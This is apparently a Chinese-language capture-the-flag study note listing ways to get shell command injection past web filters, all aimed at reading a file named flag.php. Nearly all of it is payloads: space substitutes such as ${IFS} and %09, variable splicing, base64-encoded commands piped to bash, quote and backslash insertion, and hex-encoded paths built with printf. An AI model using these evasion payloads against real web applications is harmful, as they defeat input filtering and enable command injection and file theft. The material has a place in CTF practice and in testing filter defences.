【web】 shell命令绕过

空格过滤

  • ${IFS}
  • ${IFS}$1
  • $IFS$1
  • <>
  • <
  • %09(需要PHP环境)

黑名单绕过

  • 拼接

    1
    2
    a=c;b=at;c=ag.php;d=fl;$a$b $d$c
    //相当于cat flag.php

    image-20210307180610569

  • base64编码payload1

    1
    2
    `echo "Y2F0IGZsYWcucGhw"|base64 -d`
    //相当于cat flag.php

    image-20210307181051662

  • base64编码payload2

    1
    2
    echo "Y2F0IGZsYWcucGhw"|base64 -d|bash
    //相当于cat flag.php
  • 单引号,双引号

    1
    c""at fla''g.php

    image-20210307181340529

  • 反斜杠\

    1
    c\at fl\ag\.php

    image-20210307181558319

  • 可以使用;代替&以及|等运算符

  • 路径文字过滤,转换成16进制字符串

    $(printf "路径")

    例如:flag_is_here/flag_17486130983526.php

    可以转化为:$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x31\x37\x34\x38\x36\x31\x33\x30\x39\x38\x33\x35\x32\x36\x2e\x70\x68\x70")